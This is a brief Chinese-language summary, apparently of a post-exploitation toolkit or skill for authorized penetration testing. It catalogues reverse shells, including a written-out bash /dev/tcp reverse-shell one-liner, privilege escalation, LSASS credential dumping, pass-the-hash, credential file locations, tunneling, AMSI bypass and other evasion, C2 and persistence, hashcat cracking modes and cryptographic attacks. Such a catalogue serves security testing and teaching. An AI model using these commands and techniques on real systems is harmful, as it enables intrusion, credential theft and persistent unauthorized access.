用途：面向授权渗透测试的后渗透阶段，覆盖提权、横向移动、凭据破解与密码学攻击。
主要能力：反弹 shell（bash -i >& /dev/tcp/IP/4444 0>&1、OpenSSL 加密绕 IDS、PTY 升级）；Linux 提权（sudo -l、SUID/GTFOBins、getcap、cron、可写文件，LinPEAS/pspy，cap_setuid、Docker 组、LD_PRELOAD）；Windows 提权（PrintSpoofer/GodPotato、服务错配、AlwaysInstallElevated、procdump LSASS→Mimikatz、winPEAS）；横向（PtH 的 crackmapexec/wmiexec、SSH 密钥收割、.bash_history/.my.cnf/.netrc/.git-credentials 等凭据位置）；隧道（ssh -L/-D/-J、chisel 反向 SOCKS、ligolo-ng、容器逃逸）；免杀（Linux DDexec/memfd，Windows AMSI 修补、直接 syscall、Donut/Sliver/Havoc）；C2 与持久化（HTTPS/DNS 隧道、域前置、合法云信道；Linux cron/systemd/authorized_keys/PAM/LD_PRELOAD，Windows 注册表 Run、计划任务、服务、WMI 事件订阅、DLL/COM 劫持）。
凭据破解：hashcat -m <mode> hash wordlist -r rules/best64.rule，常用 mode 0/100/1000/1800/3200/13100/18200/22000/16500；策略为字典加规则、掩码、组合，john 兜底，先查在线彩虹表。密码学攻击：Padding Oracle、ECB 字节翻转、哈希长度扩展、弱 IV/nonce 复用、RSA 小 e/共模/Wiener。
限制：仅限合法授权测试；具体平台、收费与完整使用步骤暂未提供。